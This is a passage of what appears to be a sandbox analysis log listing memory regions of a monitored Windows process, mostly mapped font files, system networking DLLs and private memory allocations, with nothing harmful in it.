0x45afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1263 start_va = 0x450000 end_va = 0x45afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1264 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1265 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1266 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1267 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1268 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1269 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1270 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1271 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1272 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1273 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1274 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1275 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1276 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1277 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1278 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1279 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1280 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1281 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1282 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1283 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1284 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1285 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1286 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1287 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1288 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1289 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1290 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1291 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1292 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1293 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1294 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1295 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1296 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1297 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1298 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1299 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1300 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1301 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1302 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1303 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1304 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1305 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1306 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1307 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1308 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1309 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1310 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1311 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1312 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1313 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1314 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1315 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1316 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1317 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1318 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1319 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1320 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1321 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1322 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1323 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1324 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1325 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1326 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1327 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1328 start_va = 0x450000 end_va = 0x458fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1329 start_va = 0x450000 end_va = 0x458fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1330 start_va = 0x450000 end_va = 0x451fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf") Region: id = 1331 start_va = 0x450000 end_va = 0x451fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf") Region: id = 1332 start_va = 0x450000 end_va = 0x454fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1333 start_va = 0x450000 end_va = 0x454fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1334 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 1335 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 1336 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1337 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1338 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1339 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1340 start_va = 0x440000 end_va = 0x45bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 1341 start_va = 0x5c00000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 1342 start_va = 0x5ea0000 end_va = 0x67cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1343 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1344 start_va = 0x74030000 end_va = 0x74042fff monitored = 0 entry_point = 0x74031d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1345 start_va = 0x74260000 end_va = 0x743fdfff monitored = 0 entry_point = 0x7428e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1346 start_va = 0x450000 end_va = 0x450fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1347 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1348 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1349 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 1350 start_va = 0x741b0000 end_va = 0x741cbfff monitored = 0 entry_point = 0x741ba431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1351 start_va = 0x75c50000 end_va = 0x75c55fff monitored = 0 entry_point = 0x75c51782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1352 start_va = 0x741a0000 end_va = 0x741a6fff monitored = 0 entry_point = 0x741a128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1353 start_va = 0x741d0000 end_va = 0x74213fff monitored = 0 entry_point = 0x741e63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1354 start_va = 0x75fc0000 end_va = 0x75ff4fff monitored = 0 entry_point = 0x75fc145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1355 start_va = 0x1290000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1356 start_va = 0x72150000 end_va = 0x7215cfff monitored = 0 entry_point = 0x72152012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1357 start_va = 0x6da60000 end_va = 0x6da71fff monitored = 0 entry_point = 0x6da63271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1358 start_va = 0x74150000 end_va = 0x7418bfff monitored = 0 entry_point = 0x7415145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1359 start_va = 0x74140000 end_va = 0x74144fff monitored = 0 entry_point = 0x741415df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1360 start_va = 0x74130000 end_va = 0x74135fff monitored = 0 entry_point = 0x74131673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1361 start_va = 0x74120000 end_va = 0x74125fff monitored = 0 entry_point = 0x741214b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1362 start_va = 0x74060000 end_va = 0x74097fff monitored = 0 entry_point = 0x7406990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1363 start_va = 0x67d0000 end_va = 0x696ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000067d0000" filename = "" Region: id = 1364 start_va = 0x12c0000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1365 start_va = 0x1320000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 1366 start_va = 0x5b60000 end_va = 0x5b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b60000" filename = "" Region: id = 1367 start_va = 0x6a20000 end_va = 0x6b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a20000" filename = "" Region: id = 1368 start_va = 0x8970000 end_va = 0x8a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008970000" filename = "" Region: id = 1369 start_va = 0xfffa4000 end_va = 0xfffa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 1370 start_va = 0xfffa7000 end_va = 0xfffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 1371 start_va = 0x67d0000 end_va = 0x68cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000067d0000" filename = "" Region: id = 1372 start_va = 0x6930000 end_va = 0x696ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006930000" filename = "" Region: id = 1373 start_va = 0x73a60000 end_va = 0x73b54fff monitored = 0 entry_point = 0x73a70d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1374 start_va = 0x450000 end_va = 0x451fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1375 start_va = 0x6c0000 end_va = 0x6c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1376 start_va = 0x75490000 end_va = 0x75512fff monitored = 0 entry_point = 0x754923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1377 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 1378 start_va = 0x74220000 end_va = 0x74240fff monitored = 0 entry_point = 0x7422145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1379 start_va = 0x76fd0000 end_va = 0x77014fff monitored = 0 entry_point = 0x76fd11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1380 start_va = 0x720000 end_va = 0x723fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1381 start_va = 0xa80000 end_va = 0xaa7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000e.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db") Region: id = 1382 start_va = 0x730000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 1383 start_va = 0x8a70000 end_va = 0x8b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 1384 start_va = 0x8a70000 end_va = 0x8b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 1385 start_va = 0x8a70000 end_va = 0x8b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 1386 start_va = 0x8a70000 end_va = 0x8b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 1387 start_va = 0x720000 end_va = 0x723fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1388 start_va = 0xd90000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = 